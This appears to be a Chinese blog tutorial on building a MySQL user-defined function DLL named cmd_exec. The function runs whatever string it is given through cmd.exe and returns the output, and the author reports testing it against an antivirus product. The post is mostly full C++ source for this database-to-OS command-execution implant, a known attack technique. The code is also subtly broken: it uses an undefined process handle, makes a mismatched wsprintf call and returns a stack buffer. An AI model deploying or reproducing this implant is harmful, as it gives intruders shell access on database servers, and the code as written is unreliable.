UDF官方文档:https://dev.mysql.com/doc/refman/5.7/en/adding-udf.html
参考文章:https://blog.csdn.net/cssxn/article/details/89497942
UDF的调用过程:
如果需要内存,则必须将其放入 xxx_init() 并释放 xxx_deinit()。
那么也就是在创建udf的dll的时候要实现的是XXX_INIT 和 XXX_DEINIT 这两个函数,这里必须要实现的是XXX_INIT,因为需要该函数为我们分配内存空间
实现模板:
my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
void xxx_deinit(UDF_INIT *initid);
由于用到的udf调用结果都是字符串,那么这里返回结果就声明为char*了
用到的模板则是如下:
char *xxx(UDF_INIT *initid, UDF_ARGS *args,
char *result, unsigned long *length,
char *is_null, char *error);
其中UDF_ARGS的结构体如下:
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
char **attributes; /* Pointer to attribute name */
unsigned long *attribute_lengths; /* Length of attribute arguments */
void *extension;
} UDF_ARGS;
UDF_ARGS结构体中类型为char**的属性attributes为如下,这个可以用来拿到获取参数的值!
调用UDF的实现模板就是如下:
//初始化
my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
//自定义函数
char *xxx(UDF_INIT *initid, UDF_ARGS *args,
char *result, unsigned long *length,
char *is_null, char *error);
//反初始化
void xxx_deinit(UDF_INIT *initid);
代码实现:
原作者的代码实现中只进行了一次的数据获取和乱码,这里改成多次获取,修复下乱码,其他的没啥问题!
#include "stdafx.h"
#include "windows.h"
#include <stdio.h>
#include "./include/mysql.h"
extern "C" __declspec(dllexport) my_bool cmd_exec_init()
{
return 0;
}
extern "C" __declspec(dllexport) char* cmd_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error)
{
HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES); // 结构体的大小,可用SIZEOF取得
sa.lpSecurityDescriptor = NULL;//安全描述符
sa.bInheritHandle = TRUE;; // 安全描述的对象能否被新创建??的进程继承
// Create anoymous pipe:
if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0) == NULL)
{
return "Create anoymous pipe failed\\n";
}
// Create Child Process:
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
// get
TCHAR cmd_buf[4096];
memset(cmd_buf, 0, 4096);
wsprintf(cmd_buf,TEXT("/c %s"), args->attributes[0], args->attribute_lengths[0]);
if (!CreateProcess(TEXT("c:\\\\windows\\\\system32\\\\cmd.exe"), cmd_buf, NULL, NULL, TRUE, 0, NULL, NULL, &si,&pi))
{
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
return "Create child process failed!\\n";
}
CloseHandle(hWritePipe);
// command buffer
TCHAR szBuffer[4096];
TCHAR tempBuffer[1024];
memset(szBuffer, 0, 4096);
memset(tempBuffer, 0, 1024);
DWORD dwBytesRead = 0;
while (PeekNamedPipe(hReadPipe, tempBuffer, 1024, &dwBytesRead, NULL, NULL))
{
if (dwBytesRead)
{
if(ReadFile(hReadPipe,tempBuffer,dwBytesRead,&dwBytesRead,NULL) == NULL){
break;
}
strcat(szBuffer,tempBuffer);
}
}
WaitForSingleObject(pInfo.hProcess, INFINITE);
CloseHandle(hReadPipe);
return szBuffer;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
可以看到导出函数为两个:
命令执行效果:
火绒测试的效果:
总结:
1、关于命令执行,定义的时候好像一定需要定义为cmd_exec名称
2、通过安全描述符的继承属性为TRUE来实现子进程继承父进程的句柄表获取匿名管道的句柄,从而来实现父子进程的数据通信